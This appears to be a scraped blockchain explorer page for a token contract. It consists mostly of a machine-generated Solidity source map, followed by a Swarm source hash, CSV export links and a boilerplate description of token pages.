:8;;;1689:266;;;;;:::o;1957:168::-;2015:7;2042:75;2046:1;2049;2042:75;;;;;;;;;;;;;;;;;:3;:75::i;:::-;2035:82;;1957:168;;;;:::o;1124:206::-;1182:7;1202:9;1218:1;1214;:5;1202:17;;1243:1;1238;:6;;1230:82;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1321:1;1314:8;;;1124:206;;;;:::o;212:115::-;265:15;308:10;293:26;;212:115;:::o;16635:440::-;16745:1;16728:19;;:5;:19;;;;16720:125;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16883:1;16864:21;;:7;:21;;;;16856:125;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17013:6;16983:11;:18;16995:5;16983:18;;;;;;;;;;;;;;;:27;17002:7;16983:27;;;;;;;;;;;;;;;:36;;;;17051:7;17035:32;;17044:5;17035:32;;;17060:6;17035:32;;;;;;;;;;;;;;;;;;16635:440;;;:::o;18002:2104::-;18089:4;18123:1;18105:20;;:6;:20;;;;18097:127;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18264:1;18243:23;;:9;:23;;;;18235:128;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18377:16;;;;;;;;;;;18374:1725;;;18427:41;18442:6;18450:9;18461:6;18427:14;:41::i;:::-;18420:48;;;;18374:1725;18515:15;:23;18531:6;18515:23;;;;;;;;;;;;;;;;;;;;;;;;;18514:24;:55;;;;;18543:15;:26;18559:9;18543:26;;;;;;;;;;;;;;;;;;;;;;;;;18542:27;18514:55;18511:191;;;18609:12;;18599:6;:22;;18591:95;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18511:191;18707:28;18738:24;18756:4;18738:9;:24::i;:::-;18707:55;;18777:28;18832:23;;18808:20;:47;;18777:78;;18874:23;:44;;;;;18902:16;;;;;;;;;;;18901:17;18874:44;:69;;;;;18923:12;:20;18936:6;18923:20;;;;;;;;;;;;;;;;;;;;;;;;;18922:21;18874:69;18870:260;;;18977:25;;;;;;;;;;;18974:95;;;19046:23;;19023:46;;18974:95;19076:36;19091:20;19076:14;:36::i;:::-;18870:260;19147:16;;;;;;;;;;;:51;;;;;19168:19;:30;19188:9;19168:30;;;;;;;;;;;;;;;;;;;;;;;;;19167:31;19147:51;19144:215;;;19279:10;;19209:66;19234:40;19269:4;19234:30;19245:18;;19234:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19209:20;19219:9;19209;:20::i;:::-;:24;;:66;;;;:::i;:::-;:80;;19201:142;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19144:215;19375:200;19379:120;19383:40;19418:4;19383:30;19394:18;;19383:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19424:74;19379:3;:120::i;:::-;19500:74;19375:3;:200::i;:::-;19361:9;19371:1;19361:12;;;;;;;;:214;;;;19618:129;19631:40;19666:4;19631:30;19642:18;;19631:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19622:6;:49;19672:74;19618:3;:129::i;:::-;19605:9;19615:1;19605:12;;;;;;;;:142;;;;19774:15;:23;19790:6;19774:23;;;;;;;;;;;;;;;;;;;;;;;;;19773:24;:56;;;;19803:15;:26;19819:9;19803:26;;;;;;;;;;;;;;;;;;;;;;;;;19802:27;19773:56;19771:112;;;;19834:12;:23;19847:9;19834:23;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;19861:12;:20;19874:6;19861:20;;;;;;;;;;;;;;;;;;;;;;;;;19834:47;19771:112;19767:238;;;19902:4;19885:15;;:21;;;;;;;;;;;19767:238;;;19934:5;19917:15;;:22;19913:90;;19941:16;:14;:16::i;:::-;19913:90;;;19997:4;19980:15;;:21;;;;;;;;;;19964:15;:37;;;;19913:90;19767:238;20019:41;20034:6;20042:9;20053:6;20019:14;:41::i;:::-;;20083:4;20076:11;;;;18002:2104;;;;;;:::o;1506:181::-;1592:7;1625:1;1620;:6;;1628:12;1612:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1652:9;1668:1;1664;:5;1652:17;;1678:1;1671:8;;;1506:181;;;;;:::o;1332:172::-;1390:7;1417:79;1421:1;1424;1417:79;;;;;;;;;;;;;;;;;:3;:79::i;:::-;1410:86;;1332:172;;;;:::o;2127:277::-;2213:7;2245:1;2241;:5;2248:12;2233:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2272:9;2288:1;2284;:5;;;;;;2272:17;;2395:1;2388:8;;;2127:277;;;;;:::o;20504:734::-;20597:4;20634:81;20656:6;20634:81;;;;;;;;;;;;;;;;;:9;:17;20644:6;20634:17;;;;;;;;;;;;;;;;:21;;:81;;;;;:::i;:::-;20614:9;:17;20624:6;20614:17;;;;;;;;;;;;;;;:101;;;;20755:2;20739:15;:18;;;20726:9;20736:1;20726:12;;;;;;;;:31;;;;20772:16;;;;;;;;;;;20769:60;;;20804:1;20791:9;20801:1;20791:12;;;;;;;;:14;;;;20820:6;20807:9;20817:1;20807:12;;;;;;;;:19;;;;20769:60;20839:22;20864:95;20871:9;20881:1;20871:12;;;;;;;;;20868:2;:15;20884:74;20864:3;:95::i;:::-;20839:120;;20993:40;21018:14;20993:9;:20;21003:9;20993:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;20970:9;:20;20980:9;20970:20;;;;;;;;;;;;;;;:63;;;;21072:43;21102:9;21112:1;21102:12;;;;;;;;;21072:9;:24;21090:4;21072:24;;;;;;;;;;;;;;;;:28;;:43;;;;:::i;:::-;21045:9;:24;21063:4;21045:24;;;;;;;;;;;;;;;:70;;;;21157:2;21141:15;:18;;;21128:9;21138:1;21128:12;;;;;;;;:31;;;;21192:9;21175:35;;21184:6;21175:35;;;21203:6;21175:35;;;;;;;;;;;;;;;;;;21228:4;21221:11;;;20504:734;;;;;:::o;21244:327::-;13834:4;13815:16;;:23;;;;;;;;;;;;;;;;;;21316:25:::1;21333:7;21316:16;:25::i;:::-;21352:23;21379:21;21352:48;;21432:1;21414:15;:19;21411:104;;;21458:18;;;;;;;;;;;21450:36;;:53;21487:15;21450:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;21411:104;21560:3;21544:15;:19;;;21531:9;21541:1;21531:12;;;;;;;;:32;;;;13849:1;13880:5:::0;13861:16;;:24;;;;;;;;;;;;;;;;;;21244:327;:::o;20106:259::-;20197:1;20181:15;;20178:2;20162:15;;20157:4;:20;:23;:39;:41;20141:15;:57;;;;20214:28;20200:9;20210:1;20200:12;;;;;;;;;:42;;;;;;;;;;;20262:15;;20246;:31;;;;20318:2;20302:15;:18;;;20289:9;20299:1;20289:12;;;;;;;;:31;;;;20348:15;;20332;:31;;;;20106:259::o;21577:723::-;21703:21;21741:1;21727:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21703:40;;21764:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21754:4;21759:1;21754:7;;;;;;;;;;;;;:32;;;;;;;;;;;21815:4;21797;21802:1;21797:7;;;;;;;;;;;;;:23;;;;;;;;;;;21831:62;21848:4;21863:15;;;;;;;;;;;21881:11;21831:8;:62::i;:::-;21921:15;;;;;;;;;;;:66;;;22002:11;22028:1;22072:4;22099;22135:15;21921:240;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22189:15;;22173;:31;;;;22248:5;22232:15;:21;;;22219:9;22229:1;22219:12;;;;;;;;:34;;;;22281:15;;22265;:31;;;;21577:723;;:::o

Swarm Source

ipfs://e6c06c2cf8e78069a21318d331701d84856dbded672d168347862a688c6d53f7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.